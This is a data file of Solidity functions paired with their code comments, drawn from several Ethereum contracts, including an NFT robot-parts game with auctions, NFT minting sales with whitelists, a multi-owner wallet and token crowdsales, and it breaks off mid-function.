uint _index) private view returns (uint _tokenId){\r\n // The index should be valid.\r\n require(_index < balanceOf(_owner));\r\n\r\n // can loop through all without\r\n uint256 seen = 0;\r\n uint256 totalTokens = totalSupply();\r\n\r\n for (uint i = 0; i < totalTokens; i++) {\r\n if (partIndexToOwner[i] == _owner) {\r\n if (seen == _index) {\r\n return i;\r\n }\r\n seen++;\r\n }\r\n }\r\n }", "version": "0.4.20"} {"comment": "// sum of perks (excluding prestige)", "function_code": "function _sumActivePerks(uint8[32] _perks) internal pure returns (uint256) {\r\n uint32 sum = 0;\r\n //sum from after prestige_index, to count+1 (for prestige index).\r\n for (uint8 i = PRESTIGE_INDEX+1; i < PERK_COUNT+1; i++) {\r\n sum += _perks[i];\r\n }\r\n return sum;\r\n }", "version": "0.4.20"} {"comment": "// you can unlock a new perk every two levels (including prestige when possible)", "function_code": "function choosePerk(uint8 _i) external {\r\n require((_i >= PRESTIGE_INDEX) && (_i < PERK_COUNT+1));\r\n User storage currentUser = addressToUser[msg.sender];\r\n uint256 _numActivePerks = _sumActivePerks(currentUser.perks);\r\n bool canPrestige = (_numActivePerks == PERK_COUNT);\r\n\r\n //add prestige value to sum of perks\r\n _numActivePerks += currentUser.perks[PRESTIGE_INDEX] * PERK_COUNT;\r\n require(_numActivePerks < getLevel(currentUser.experience) / 2);\r\n\r\n if (_i == PRESTIGE_INDEX) {\r\n require(canPrestige);\r\n _prestige();\r\n } else {\r\n require(_isValidPerkToAdd(currentUser.perks, _i));\r\n _addPerk(_i);\r\n }\r\n PerkChosen(msg.sender, _i);\r\n }", "version": "0.4.20"} {"comment": "// Calculates price and transfers purchase to owner. Part is NOT transferred to buyer.", "function_code": "function _purchase(uint256 _partId, uint256 _purchaseAmount) internal returns (uint256) {\r\n\r\n Auction storage auction = tokenIdToAuction[_partId];\r\n\r\n // check that this token is being auctioned\r\n require(_isActiveAuction(auction));\r\n\r\n // enforce purchase >= the current price\r\n uint256 price = _currentPrice(auction);\r\n require(_purchaseAmount >= price);\r\n\r\n // Store seller before we delete auction.\r\n address seller = auction.seller;\r\n\r\n // Valid purchase. Remove auction to prevent reentrancy.\r\n _removeAuction(_partId);\r\n\r\n // Transfer proceeds to seller (if there are any!)\r\n if (price > 0) {\r\n \r\n // Calculate and take fee from purchase\r\n\r\n uint256 auctioneerCut = _computeFee(price);\r\n uint256 sellerProceeds = price - auctioneerCut;\r\n\r\n PrintEvent(\"Seller, proceeds\", seller, sellerProceeds);\r\n\r\n // Pay the seller\r\n seller.transfer(sellerProceeds);\r\n }\r\n\r\n // Calculate excess funds and return to buyer.\r\n uint256 purchaseExcess = _purchaseAmount - price;\r\n\r\n PrintEvent(\"Sender, excess\", msg.sender, purchaseExcess);\r\n // Return any excess funds. Reentrancy again prevented by deleting auction.\r\n msg.sender.transfer(purchaseExcess);\r\n\r\n AuctionSuccessful(_partId, price, msg.sender);\r\n\r\n return price;\r\n }", "version": "0.4.20"} {"comment": "// computes the current price of an deflating-price auction ", "function_code": "function _computeCurrentPrice( uint256 _startPrice, uint256 _endPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256 _price) {\r\n _price = _startPrice;\r\n if (_secondsPassed >= _duration) {\r\n // Has been up long enough to hit endPrice.\r\n // Return this price floor.\r\n _price = _endPrice;\r\n // this is a statically price sale. Just return the price.\r\n }\r\n else if (_duration > 0) {\r\n // This auction contract supports auctioning from any valid price to any other valid price.\r\n // This means the price can dynamically increase upward, or downard.\r\n int256 priceDifference = int256(_endPrice) - int256(_startPrice);\r\n int256 currentPriceDifference = priceDifference * int256(_secondsPassed) / int256(_duration);\r\n int256 currentPrice = int256(_startPrice) + currentPriceDifference;\r\n\r\n _price = uint256(currentPrice);\r\n }\r\n return _price;\r\n }", "version": "0.4.20"} {"comment": "// Creates an auction and lists it.", "function_code": "function createAuction( uint256 _partId, uint256 _startPrice, uint256 _endPrice, uint256 _duration, address _seller ) external whenNotPaused {\r\n // Sanity check that no inputs overflow how many bits we've allocated\r\n // to store them in the auction struct.\r\n require(_startPrice == uint256(uint128(_startPrice)));\r\n require(_endPrice == uint256(uint128(_endPrice)));\r\n require(_duration == uint256(uint64(_duration)));\r\n require(_startPrice >= _endPrice);\r\n\r\n require(msg.sender == address(nftContract));\r\n _escrow(_seller, _partId);\r\n Auction memory auction = Auction(\r\n _seller,\r\n uint128(_startPrice),\r\n uint128(_endPrice),\r\n uint64(_duration),\r\n uint64(now) //seconds uint \r\n );\r\n PrintEvent(\"Auction Start\", 0x0, auction.start);\r\n _newAuction(_partId, auction);\r\n }", "version": "0.4.20"} {"comment": "// Purchases an open auction\n// Will transfer ownership if successful.", "function_code": "function purchase(uint256 _partId) external payable whenNotPaused {\r\n address seller = tokenIdToAuction[_partId].seller;\r\n\r\n // _purchase will throw if the purchase or funds transfer fails\r\n uint256 price = _purchase(_partId, msg.value);\r\n _transfer(msg.sender, _partId);\r\n \r\n // If the seller is the scrapyard, track price information.\r\n if (seller == address(nftContract)) {\r\n\r\n lastScrapPrices[scrapCounter] = price;\r\n if (scrapCounter == LAST_CONSIDERED - 1) {\r\n scrapCounter = 0;\r\n } else {\r\n scrapCounter++;\r\n }\r\n }\r\n }", "version": "0.4.20"} {"comment": "// Returns the details of an auction from its _partId.", "function_code": "function getAuction(uint256 _partId) external view returns ( address seller, uint256 startPrice, uint256 endPrice, uint256 duration, uint256 startedAt ) {\r\n Auction storage auction = tokenIdToAuction[_partId];\r\n require(_isActiveAuction(auction));\r\n return ( auction.seller, auction.startPrice, auction.endPrice, auction.duration, auction.start);\r\n }", "version": "0.4.20"} {"comment": "// list a part for auction.", "function_code": "function createAuction(\r\n uint256 _partId,\r\n uint256 _startPrice,\r\n uint256 _endPrice,\r\n uint256 _duration ) external whenNotPaused \r\n {\r\n\r\n\r\n // user must have current control of the part\r\n // will lose control if they delegate to the auction\r\n // therefore no duplicate auctions!\r\n require(owns(msg.sender, _partId));\r\n\r\n _approve(_partId, auction);\r\n\r\n // will throw if inputs are invalid\r\n // will clear transfer approval\r\n DutchAuction(auction).createAuction(_partId,_startPrice,_endPrice,_duration,msg.sender);\r\n }", "version": "0.4.20"} {"comment": "/// An internal method that creates a new part and stores it. This\n/// method doesn't do any checking and should only be called when the\n/// input data is known to be valid. Will generate both a Forge event\n/// and a Transfer event.", "function_code": "function _createPart(uint8[4] _partArray, address _owner) internal returns (uint) {\r\n uint32 newPartId = uint32(parts.length);\r\n assert(newPartId == parts.length);\r\n\r\n Part memory _part = Part({\r\n tokenId: newPartId,\r\n partType: _partArray[0],\r\n partSubType: _partArray[1],\r\n rarity: _partArray[2],\r\n element: _partArray[3],\r\n battlesLastDay: 0,\r\n experience: 0,\r\n forgeTime: uint32(now),\r\n battlesLastReset: uint32(now)\r\n });\r\n assert(newPartId == parts.push(_part) - 1);\r\n\r\n // emit the FORGING!!!\r\n Forge(_owner, newPartId, _part);\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(0, _owner, newPartId);\r\n\r\n return newPartId;\r\n }", "version": "0.4.20"} {"comment": "// uint8[] public defenceElementBySubtypeIndex = [1,2,4,3,4,1,3,3,2,1,4];\n// uint8[] public meleeElementBySubtypeIndex = [3,1,3,2,3,4,2,2,1,1,1,1,4,4];\n// uint8[] public bodyElementBySubtypeIndex = [2,1,2,3,4,3,1,1,4,2,3,4,1,0,1]; // no more lambos :'(\n// uint8[] public turretElementBySubtypeIndex = [4,3,2,1,2,1,1,3,4,3,4];", "function_code": "function setRewardChance(uint _newChance) external onlyOwner {\r\n require(_newChance > 980); // not too hot\r\n require(_newChance <= 1000); // not too cold\r\n PART_REWARD_CHANCE = _newChance; // just right\r\n // come at me goldilocks\r\n }", "version": "0.4.20"} {"comment": "// function _randomIndex(uint _rand, uint8 _startIx, uint8 _endIx, uint8 _modulo) internal pure returns (uint8) {\n// require(_startIx < _endIx);\n// bytes32 randBytes = bytes32(_rand);\n// uint result = 0;\n// for (uint8 i=_startIx; i<_endIx; i++) {\n// result = result | uint8(randBytes[i]);\n// result << 8;\n// }\n// uint8 resultInt = uint8(uint(result) % _modulo);\n// return resultInt;\n// }\n// This function takes a random uint, an owner and randomly generates a valid part.\n// It then transfers that part to the owner.", "function_code": "function _generateRandomPart(uint _rand, address _owner) internal {\r\n // random uint 20 in length - MAYBE 20.\r\n // first randomly gen a part type\r\n _rand = uint(keccak256(_rand));\r\n uint8[4] memory randomPart;\r\n randomPart[0] = uint8(_rand % 4) + 1;\r\n _rand = uint(keccak256(_rand));\r\n\r\n // randomPart[0] = _randomIndex(_rand,0,4,4) + 1; // 1, 2, 3, 4, => defence, melee, body, turret\r\n\r\n if (randomPart[0] == DEFENCE) {\r\n randomPart[1] = _getRandomPartSubtype(_rand,defenceElementBySubtypeIndex);\r\n randomPart[3] = _getElement(defenceElementBySubtypeIndex, randomPart[1]);\r\n\r\n } else if (randomPart[0] == MELEE) {\r\n randomPart[1] = _getRandomPartSubtype(_rand,meleeElementBySubtypeIndex);\r\n randomPart[3] = _getElement(meleeElementBySubtypeIndex, randomPart[1]);\r\n\r\n } else if (randomPart[0] == BODY) {\r\n randomPart[1] = _getRandomPartSubtype(_rand,bodyElementBySubtypeIndex);\r\n randomPart[3] = _getElement(bodyElementBySubtypeIndex, randomPart[1]);\r\n\r\n } else if (randomPart[0] == TURRET) {\r\n randomPart[1] = _getRandomPartSubtype(_rand,turretElementBySubtypeIndex);\r\n randomPart[3] = _getElement(turretElementBySubtypeIndex, randomPart[1]);\r\n\r\n }\r\n _rand = uint(keccak256(_rand));\r\n randomPart[2] = _getRarity(_rand);\r\n // randomPart[2] = _getRarity(_randomIndex(_rand,8,12,3)); // rarity\r\n _createPart(randomPart, _owner);\r\n }", "version": "0.4.20"} {"comment": "// scraps a part for shards", "function_code": "function scrap(uint partId) external {\r\n require(owns(msg.sender, partId));\r\n User storage u = addressToUser[msg.sender];\r\n _addShardsToUser(u, (SHARDS_TO_PART * scrapPercent) / 100);\r\n Scrap(msg.sender, partId);\r\n // this doesn't need to be secure\r\n // no way to manipulate it apart from guaranteeing your parts are resold\r\n // or burnt\r\n if (uint(keccak256(scrapCount)) % 100 >= burnRate) {\r\n _transfer(msg.sender, address(this), partId);\r\n _createScrapPartAuction(partId);\r\n } else {\r\n _transfer(msg.sender, address(0), partId);\r\n }\r\n scrapCount++;\r\n }", "version": "0.4.20"} {"comment": "// store the part information of purchased crates", "function_code": "function openAll() public {\r\n uint len = addressToPurchasedBlocks[msg.sender].length;\r\n require(len > 0);\r\n uint8 count = 0;\r\n // len > i to stop predicatable wraparound\r\n for (uint i = len - 1; i >= 0 && len > i; i--) {\r\n uint crateBlock = addressToPurchasedBlocks[msg.sender][i];\r\n require(block.number > crateBlock);\r\n // can't open on the same timestamp\r\n var hash = block.blockhash(crateBlock);\r\n if (uint(hash) != 0) {\r\n // different results for all different crates, even on the same block/same user\r\n // randomness is already taken care of\r\n uint rand = uint(keccak256(hash, msg.sender, i)) % (10 ** 20);\r\n userToRobots[msg.sender].push(rand);\r\n count++;\r\n } else {\r\n // all others will be expired\r\n expiredCrates[msg.sender] += (i + 1);\r\n break;\r\n }\r\n }\r\n CratesOpened(msg.sender, count);\r\n delete addressToPurchasedBlocks[msg.sender];\r\n }", "version": "0.4.20"} {"comment": "// convert old string representation of robot into 4 new ERC721 parts", "function_code": "function _convertBlueprint(string original) pure private returns(uint8[4] body,uint8[4] melee, uint8[4] turret, uint8[4] defence ) {\r\n\r\n /* ------ CONVERSION TIME ------ */\r\n \r\n\r\n body[0] = BODY; \r\n body[1] = _getPartId(original, 3, 5, 15);\r\n body[2] = _getRarity(original, 0, 3);\r\n body[3] = _getElement(BODY_ELEMENT_BY_ID, body[1]);\r\n \r\n turret[0] = TURRET;\r\n turret[1] = _getPartId(original, 8, 10, 11);\r\n turret[2] = _getRarity(original, 5, 8);\r\n turret[3] = _getElement(TURRET_ELEMENT_BY_ID, turret[1]);\r\n\r\n melee[0] = MELEE;\r\n melee[1] = _getPartId(original, 13, 15, 14);\r\n melee[2] = _getRarity(original, 10, 13);\r\n melee[3] = _getElement(MELEE_ELEMENT_BY_ID, melee[1]);\r\n\r\n defence[0] = DEFENCE;\r\n var len = bytes(original).length;\r\n // string of number does not have preceding 0's\r\n if (len == 20) {\r\n defence[1] = _getPartId(original, 18, 20, 11);\r\n } else if (len == 19) {\r\n defence[1] = _getPartId(original, 18, 19, 11);\r\n } else { //unlikely to have length less than 19\r\n defence[1] = uint8(1);\r\n }\r\n defence[2] = _getRarity(original, 15, 18);\r\n defence[3] = _getElement(DEFENCE_ELEMENT_BY_ID, defence[1]);\r\n\r\n // implicit return\r\n }", "version": "0.4.20"} {"comment": "// Users can open pending crates on the new contract.", "function_code": "function openCrates() public whenNotPaused {\r\n uint[] memory pc = pendingCrates[msg.sender];\r\n require(pc.length > 0);\r\n uint8 count = 0;\r\n for (uint i = 0; i < pc.length; i++) {\r\n uint crateBlock = pc[i];\r\n require(block.number > crateBlock);\r\n // can't open on the same timestamp\r\n var hash = block.blockhash(crateBlock);\r\n if (uint(hash) != 0) {\r\n // different results for all different crates, even on the same block/same user\r\n // randomness is already taken care of\r\n uint rand = uint(keccak256(hash, msg.sender, i)) % (10 ** 20);\r\n _migrateRobot(uintToString(rand));\r\n count++;\r\n }\r\n }\r\n CratesOpened(msg.sender, count);\r\n delete pendingCrates[msg.sender];\r\n }", "version": "0.4.20"} {"comment": "// in PerksRewards", "function_code": "function redeemBattleCrates() external {\r\n uint8 count = 0;\r\n uint len = pendingRewards[msg.sender].length;\r\n require(len > 0);\r\n for (uint i = 0; i < len; i++) {\r\n Reward memory rewardStruct = pendingRewards[msg.sender][i];\r\n // can't open on the same timestamp\r\n require(block.number > rewardStruct.blocknumber);\r\n // ensure user has converted all pendingRewards\r\n require(rewardStruct.blocknumber != 0);\r\n\r\n var hash = block.blockhash(rewardStruct.blocknumber);\r\n\r\n if (uint(hash) != 0) {\r\n // different results for all different crates, even on the same block/same user\r\n // randomness is already taken care of\r\n uint rand = uint(keccak256(hash, msg.sender, i));\r\n _generateBattleReward(rand,rewardStruct.exp);\r\n count++;\r\n } else {\r\n // Do nothing, no second chances to secure integrity of randomness.\r\n }\r\n }\r\n CratesOpened(msg.sender, count);\r\n delete pendingRewards[msg.sender];\r\n }", "version": "0.4.20"} {"comment": "// don't need to do any scaling\n// should already have been done by previous stages", "function_code": "function _addUserExperience(address user, int32 exp) internal {\r\n // never allow exp to drop below 0\r\n User memory u = addressToUser[user];\r\n if (exp < 0 && uint32(int32(u.experience) + exp) > u.experience) {\r\n u.experience = 0;\r\n return;\r\n } else if (exp > 0) {\r\n // check for overflow\r\n require(uint32(int32(u.experience) + exp) > u.experience);\r\n }\r\n addressToUser[user].experience = uint32(int32(u.experience) + exp);\r\n //_addUserReward(user, exp);\r\n }", "version": "0.4.20"} {"comment": "//requires parts in order", "function_code": "function hasOrderedRobotParts(uint[] partIds) external view returns(bool) {\r\n uint len = partIds.length;\r\n if (len != 4) {\r\n return false;\r\n }\r\n for (uint i = 0; i < len; i++) {\r\n if (parts[partIds[i]].partType != i+1) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/*\n * @notice Mints specified amount of tokens on the public sale\n * @dev Non reentrant. Emits PublicSaleMint event\n * @param _amount Amount of tokens to mint\n */", "function_code": "function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused {\n require(saleState == 3, \"public sale isn't active\");\n require(_amount > 0 && _amount <= publicSaleLimitPerTx, \"invalid amount\");\n uint256 maxTotalSupply_ = maxTotalSupply;\n uint256 totalSupply_ = totalSupply();\n require(totalSupply_ + _amount <= maxTotalSupply_, \"already sold out\");\n require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, \"the rest is reserved\");\n _buyAndRefund(_amount, publicSalePrice);\n if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut();\n emit PublicSaleMint(_msgSender(), _amount);\n }", "version": "0.8.5"} {"comment": "/*\n * @notice Mints specified IDs to specified addresses\n * @dev Only owner can call it. Lengths of arrays must be equal.\n * @param _accounts The list of addresses to mint tokens to\n */", "function_code": "function giveaway(address[] memory _accounts) external onlyOwner {\n uint256 maxTotSup = maxTotalSupply;\n uint256 currentTotalSupply = totalSupply();\n require(_accounts.length <= publicSaleLimitPerTx, \"Limit per transaction exceeded\");\n require(airdropCounter + _accounts.length <= amountForGiveAway, \"limit for airdrop exceeded\");\n require(currentTotalSupply + _accounts.length <= maxTotSup, \"maxTotalSupply exceeded\");\n uint256 counter = currentTotalSupply;\n for (uint256 i; i < _accounts.length; i++) {\n _safeMint(_accounts[i], uint8(1));\n counter++;\n }\n airdropCounter += uint16(_accounts.length);\n if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale\n emit GiveAway(_accounts);\n }", "version": "0.8.5"} {"comment": "/*\n * @dev The main logic for the pre sale mint. Emits PreSaleMint event\n * @param _amount The amount of tokens\n */", "function_code": "function _preSaleMintVipPl(uint256 _amount) private {\n require(saleState == 1, \"VIP Presale isn't active\");\n require(_amount > 0, \"invalid amount\");\n require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, \"limit per user exceeded\");\n uint256 totalSupply_ = totalSupply();\n require(totalSupply_ + _amount <= preSaleTokenLimit, \"presale token limit exceeded\");\n _buyAndRefund(_amount, preSaleVipPlPrice);\n preSaleMintedVipPl[_msgSender()] += uint8(_amount);\n emit PreSaleMintVipPl(_msgSender(), _amount);\n }", "version": "0.8.5"} {"comment": "/*\n * @dev Mints tokens for the user and refunds ETH if too much was passed\n * @param _amount The amount of tokens\n * @param _price The price for each token\n */", "function_code": "function _buyAndRefund(uint256 _amount, uint256 _price) internal {\n uint256 totalCost = _amount * _price;\n require(msg.value >= totalCost, \"not enough funds\");\n _safeMint(_msgSender(), _amount);\n // totalSupply += uint16(_amount);\n mintCounter += uint16(_amount);\n uint256 refund = msg.value - totalCost;\n if (refund > 0) {\n _sendETH(payable(_msgSender()), refund);\n }\n }", "version": "0.8.5"} {"comment": "// METHODS\n// constructor is given number of sigs required to do protected \"onlymanyowners\" transactions\n// as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!).", "function_code": "function multiowned(address[] _owners, uint _required)\r\n validNumOwners(_owners.length)\r\n multiOwnedValidRequirement(_required, _owners.length)\r\n {\r\n assert(c_maxOwners <= 255);\r\n\r\n m_numOwners = _owners.length;\r\n m_multiOwnedRequired = _required;\r\n\r\n for (uint i = 0; i < _owners.length; ++i)\r\n {\r\n address owner = _owners[i];\r\n // invalid and duplicate addresses are not allowed\r\n require(0 != owner && !isOwner(owner) /* not isOwner yet! */);\r\n\r\n uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */);\r\n m_owners[currentOwnerIndex] = owner;\r\n m_ownerIndex[owner] = currentOwnerIndex;\r\n }\r\n\r\n assertOwnersAreConsistent();\r\n }", "version": "0.4.18"} {"comment": "// All pending operations will be canceled!", "function_code": "function removeOwner(address _owner)\r\n external\r\n ownerExists(_owner)\r\n validNumOwners(m_numOwners - 1)\r\n multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)\r\n onlymanyowners(sha3(msg.data))\r\n {\r\n assertOwnersAreConsistent();\r\n\r\n clearPending();\r\n uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);\r\n m_owners[ownerIndex] = 0;\r\n m_ownerIndex[_owner] = 0;\r\n //make sure m_numOwners is equal to the number of owners and always points to the last owner\r\n reorganizeOwners();\r\n\r\n assertOwnersAreConsistent();\r\n OwnerRemoved(_owner);\r\n }", "version": "0.4.18"} {"comment": "// Reclaims free slots between valid owners in m_owners.\n// TODO given that its called after each removal, it could be simplified.", "function_code": "function reorganizeOwners() private {\r\n uint free = 1;\r\n while (free < m_numOwners)\r\n {\r\n // iterating to the first free slot from the beginning\r\n while (free < m_numOwners && m_owners[free] != 0) free++;\r\n\r\n // iterating to the first occupied slot from the end\r\n while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;\r\n\r\n // swap, if possible, so free slot is located at the end after the swap\r\n if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)\r\n {\r\n // owners between swapped slots should't be renumbered - that saves a lot of gas\r\n m_owners[free] = m_owners[m_numOwners];\r\n m_ownerIndex[m_owners[free]] = free;\r\n m_owners[m_numOwners] = 0;\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev transfer tokens to the specified address\r\n * @param _to The address to transfer to\r\n * @param _value The amount to be transferred\r\n * @return bool A successful transfer returns true\r\n */", "function_code": "function transfer(address _to, uint256 _value) returns (bool success) {\r\n require(_to != address(0));\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "// ------------------------------------------------------------------------\n// 100 BFCL Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 360;\r\n } else {\r\n tokens = msg.value * 300;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "// ============ Main View Functions ==============", "function_code": "function getPools(string[] calldata poolIds)\n external\n view\n override\n returns (address[] memory poolAddresses)\n {\n poolAddresses = new address[](poolIds.length);\n for (uint256 i = 0; i < poolIds.length; i++) {\n poolAddresses[i] = pools[poolIds[i]];\n }\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev transfer tokens from one address to another\r\n * @param _from address The address that you want to send tokens from\r\n * @param _to address The address that you want to transfer to\r\n * @param _value uint256 The amount to be transferred\r\n * @return bool A successful transfer returns true\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {\r\n require(_to != address(0));\r\n\r\n uint256 _allowance = allowed[_from][msg.sender];\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowed[_from][msg.sender] = _allowance.sub(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * @dev Extend parent behavior requiring beneficiary to be in whitelist.\r\n * @param _beneficiary Token beneficiary\r\n * @param _weiAmount Amount of wei contributed\r\n */", "function_code": "function _preValidatePurchase(\r\n address _beneficiary,\r\n uint256 _weiAmount\r\n )\r\n internal\r\n whenNotPaused\r\n {\r\n super._preValidatePurchase(_beneficiary, _weiAmount);\r\n \r\n if(block.timestamp <= openingTime + (2 weeks)) {\r\n require(whitelist[_beneficiary]);\r\n require(msg.value >= 5 ether);\r\n rate = 833;\r\n }else if(block.timestamp > openingTime + (2 weeks) && block.timestamp <= openingTime + (3 weeks)) {\r\n require(msg.value >= 5 ether);\r\n rate = 722;\r\n }else if(block.timestamp > openingTime + (3 weeks) && block.timestamp <= openingTime + (4 weeks)) {\r\n require(msg.value >= 5 ether);\r\n rate = 666;\r\n }else if(block.timestamp > openingTime + (4 weeks) && block.timestamp <= openingTime + (5 weeks)) {\r\n require(msg.value >= 5 ether);\r\n rate = 611;\r\n }else{\r\n rate = 555;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Determines how ETH is stored/forwarded on purchases.\r\n */", "function_code": "function _forwardFunds()\r\n internal\r\n {\r\n // referer bonus\r\n if(msg.data.length == 20) {\r\n address referrerAddress = bytesToAddres(bytes(msg.data));\r\n require(referrerAddress != address(token) && referrerAddress != msg.sender);\r\n uint256 referrerAmount = msg.value.mul(REFERRER_PERCENT).div(100);\r\n referrers[referrerAddress] = referrers[referrerAddress].add(referrerAmount);\r\n }\r\n \r\n if(block.timestamp <= openingTime + (2 weeks)) {\r\n wallet.transfer(msg.value);\r\n }else{\r\n vault.deposit.value(msg.value)(msg.sender);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Set the Pool Config, initializes an instance of and start the pool.\r\n *\r\n * @param _numOfWinners Number of winners in the pool\r\n * @param _participantLimit Maximum number of paricipants\r\n * @param _enterAmount Exact amount to enter this pool\r\n * @param _feePercentage Manager fee of this pool\r\n * @param _randomSeed Seed for Random Number Generation\r\n */", "function_code": "function setPoolRules(\r\n uint256 _numOfWinners,\r\n uint256 _participantLimit,\r\n uint256 _enterAmount,\r\n uint256 _feePercentage,\r\n uint256 _randomSeed\r\n ) external onlyOwner {\r\n require(poolStatus == PoolStatus.NOTSTARTED, \"in progress\");\r\n require(_numOfWinners != 0, \"invalid numOfWinners\");\r\n require(_numOfWinners < _participantLimit, \"too much numOfWinners\");\r\n\r\n poolConfig = PoolConfig(\r\n _numOfWinners,\r\n _participantLimit,\r\n _enterAmount,\r\n _feePercentage,\r\n _randomSeed,\r\n block.timestamp\r\n );\r\n poolStatus = PoolStatus.INPROGRESS;\r\n emit PoolStarted(\r\n _participantLimit,\r\n _numOfWinners,\r\n _enterAmount,\r\n _feePercentage,\r\n block.timestamp\r\n );\r\n }", "version": "0.6.10"} {"comment": "/*\n * Function to mint NFTs\n */", "function_code": "function mint(address to, uint32 count) internal {\n if (count > 1) {\n uint256[] memory ids = new uint256[](uint256(count));\n uint256[] memory amounts = new uint256[](uint256(count));\n\n for (uint32 i = 0; i < count; i++) {\n ids[i] = totalSupply + i;\n amounts[i] = 1;\n }\n\n _mintBatch(to, ids, amounts, \"\");\n } else {\n _mint(to, totalSupply, 1, \"\");\n }\n\n totalSupply += count;\n }", "version": "0.8.7"} {"comment": "/*\n * Function to withdraw collected amount during minting by the owner\n */", "function_code": "function withdraw(\n address _to\n )\n public\n onlyOwner\n {\n uint balance = address(this).balance;\n require(balance > 0, \"Balance should be more then zero\");\n\n if(balance <= devSup) {\n payable(devAddress).transfer(balance);\n devSup = devSup.sub(balance);\n return;\n } else {\n if(devSup > 0) {\n payable(devAddress).transfer(devSup);\n balance = balance.sub(devSup);\n devSup = 0;\n }\n\n payable(_to).transfer(balance);\n }\n }", "version": "0.8.7"} {"comment": "/*\n * Function to mint new NFTs during the public sale\n * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens))\n */", "function_code": "function mintNFT(\n uint32 _numOfTokens\n )\n public\n payable\n {\n require(isActive, 'Contract is not active');\n require(!isPrivateSaleActive, 'Private sale still active');\n require(!isPresaleActive, 'Presale still active');\n require(totalSupply.add(_numOfTokens).sub(giveawayCount) <= MAX_NFT_PUBLIC, \"Purchase would exceed max public supply of NFTs\");\n require(msg.value >= NFTPrice.mul(_numOfTokens), \"Ether value sent is not correct\");\n mint(msg.sender,_numOfTokens);\n }", "version": "0.8.7"} {"comment": "/*\n * Function to mint new NFTs during the private sale & presale\n * It is payable.\n */", "function_code": "function mintNFTDuringPresale(\n uint32 _numOfTokens,\n bytes32[] memory _proof\n )\n public\n payable\n {\n require(isActive, 'Contract is not active');\n require(verify(_proof, bytes32(uint256(uint160(msg.sender)))), \"Not whitelisted\");\n\n if (!isPresaleActive) {\n require(isPrivateSaleActive, 'Private sale not active');\n require(msg.value >= privateSalePrice.mul(_numOfTokens), \"Ether value sent is not correct\");\n require(nftBalances[msg.sender].add(_numOfTokens)<= maxPerWalletPresale, 'Max per wallet reached for this phase');\n\n mint(msg.sender,_numOfTokens);\n nftBalances[msg.sender] = nftBalances[msg.sender].add(_numOfTokens);\n return;\n }\n\n require(msg.value >= presalePrice.mul(_numOfTokens), \"Ether value sent is not correct\");\n require(nftBalances[msg.sender].add(_numOfTokens)<= maxPerWalletPresale, 'Max per wallet reached for this phase');\n\n mint(msg.sender,_numOfTokens);\n nftBalances[msg.sender] = nftBalances[msg.sender].add(_numOfTokens);\n }", "version": "0.8.7"} {"comment": "/*\n * Function to mint all NFTs for giveaway and partnerships\n */", "function_code": "function mintMultipleByOwner(\n address[] memory _to\n )\n public\n onlyOwner\n {\n require(totalSupply.add(_to.length) < MAX_NFT, \"Tokens number to mint cannot exceed number of MAX tokens\");\n require(giveawayCount.add(_to.length)<=maxGiveaway,\"Cannot do that much giveaway\");\n for(uint256 i = 0; i < _to.length; i++){\n mint(_to[i],1);\n }\n giveawayCount=giveawayCount.add(_to.length);\n\n }", "version": "0.8.7"} {"comment": "/*\n * Function to verify the proof\n */", "function_code": "function verify(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n bytes32 proofElement = proof[i];\n\n if (computedHash <= proofElement) {\n // Hash(current computed hash + current element of the proof)\n computedHash = sha256(abi.encodePacked(computedHash, proofElement));\n } else {\n // Hash(current element of the proof + current computed hash)\n computedHash = sha256(abi.encodePacked(proofElement, computedHash));\n }\n }\n\n // Check if the computed hash (root) is equal to the provided root\n return computedHash == root;\n }", "version": "0.8.7"} {"comment": "/**\r\n * Enter pool with ETH\r\n */", "function_code": "function enterPoolEth() external payable onlyValidPool onlyEOA returns (uint256) {\r\n require(msg.value == poolConfig.enterAmount, \"insufficient amount\");\r\n if (!_isEthPool()) {\r\n revert(\"not accept ETH\");\r\n }\r\n // wrap ETH to WETH\r\n IWETH(controller.getWeth()).deposit{ value: msg.value }();\r\n\r\n return _enterPool();\r\n }", "version": "0.6.10"} {"comment": "/**\n \t * @dev Set time of dividend Payments.\n \t * @return Start_reward\n \t*/", "function_code": "function dividendPaymentsTime (uint256 _start) public onlyOwner returns (uint256 